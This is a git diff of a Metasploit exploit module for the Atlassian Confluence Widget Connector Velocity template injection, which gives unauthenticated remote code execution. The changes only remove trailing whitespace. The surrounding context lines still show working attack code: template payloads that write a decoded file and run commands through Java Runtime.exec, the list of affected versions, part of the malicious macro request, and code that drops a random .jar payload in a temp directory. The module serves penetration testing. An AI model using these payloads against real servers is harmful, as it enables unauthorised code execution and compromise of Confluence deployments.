diff --git a/modules/exploits/multi/http/confluence_widget_connector.rb b/modules/exploits/multi/http/confluence_widget_connector.rb
index f101ff1073..75e17cdcb5 100644
--- a/modules/exploits/multi/http/confluence_widget_connector.rb
+++ b/modules/exploits/multi/http/confluence_widget_connector.rb
@@ -16,13 +16,13 @@ class MetasploitModule < Msf::Exploit::Remote
       'Name'           => "Atlassian Confluence Widget Connector Macro Velocity Template Injection",
       'Description'    => %q{
         Widget Connector Macro is part of Atlassian Confluence Server and Data Center that
-        allows embed online videos, slideshows, photostreams and more directly into page. 
-        A _template parameter can be used to inject remote Java code into a Velocity template, 
-        and gain code execution. Authentication is unrequired to exploit this vulnerability. 
-        By default, Java payload will be used because it is cross-platform, but you can also 
+        allows embed online videos, slideshows, photostreams and more directly into page.
+        A _template parameter can be used to inject remote Java code into a Velocity template,
+        and gain code execution. Authentication is unrequired to exploit this vulnerability.
+        By default, Java payload will be used because it is cross-platform, but you can also
         specify which native payload you want (Linux or Windows).
 
-        Confluence before version 6.6.12, from version 6.7.0 before 6.12.3, from version 
+        Confluence before version 6.6.12, from version 6.7.0 before 6.12.3, from version
         6.13.0 before 6.13.3 and from version 6.14.0 before 6.14.2 are affected.
 
         This vulnerability was originally discovered by Daniil Dmitriev
@@ -83,9 +83,9 @@ class MetasploitModule < Msf::Exploit::Remote
     when /javaprop\.vm$/
       conn.put(wrap(get_javaprop_vm()))
     when /upload\.vm$/
-      conn.put(wrap(get_upload_vm()))  
+      conn.put(wrap(get_upload_vm()))
     when /exec\.vm$/
-      conn.put(wrap(get_exec_vm()))  
+      conn.put(wrap(get_exec_vm()))
     else
       conn.put(wrap(get_dummy_vm()))
     end
@@ -123,7 +123,7 @@ class MetasploitModule < Msf::Exploit::Remote
         $i18n.getClass().forName('java.io.FileOutputStream').getConstructor($i18n.getClass().forName('java.lang.String')).newInstance('#{@fname}').write($i18n.getClass().forName('sun.misc.BASE64Decoder').getConstructor(null).newInstance(null).decodeBuffer('#{@b64}'))
       EOF
     )
-  end  
+  end
 
   # Returns a command execution template.
   #
@@ -134,7 +134,7 @@ class MetasploitModule < Msf::Exploit::Remote
         $i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null).invoke(null, null).exec('#{@command}').waitFor()
       EOF
     )
-  end 
+  end
 
   # Returns checking template.
   #
@@ -166,9 +166,9 @@ class MetasploitModule < Msf::Exploit::Remote
       <<~EOF
       EOF
     )
-  end  
+  end
 
-  # Checks the vulnerability. 
+  # Checks the vulnerability.
   #
   # @return [Array] Check code
   def check
@@ -203,10 +203,10 @@ class MetasploitModule < Msf::Exploit::Remote
       'uri' => uri,
       'headers' => {
         'Accept' => '*/*',
-        'Origin' => full_uri(vhost_uri: true)    
+        'Origin' => full_uri(vhost_uri: true)
       },
       'ctype'  => 'application/json; charset=UTF-8',
-      'data'   => { 
+      'data'   => {
                     'contentId' => '1',
                     'macro' => {
                       'name' => 'widget',
@@ -332,7 +332,7 @@ class MetasploitModule < Msf::Exploit::Remote
       fail_with(Failure::Unknown, 'Unable to get the temp path.')
     end
 
-    @fname    = normalize_payload_fname(tmp_path, "#{Rex::Text.rand_text_alpha(5)}.jar")    
+    @fname    = normalize_payload_fname(tmp_path, "#{Rex::Text.rand_text_alpha(5)}.jar")
     @b64      = Rex::Text.encode_base64(payload.encoded_jar)
     @command   = ''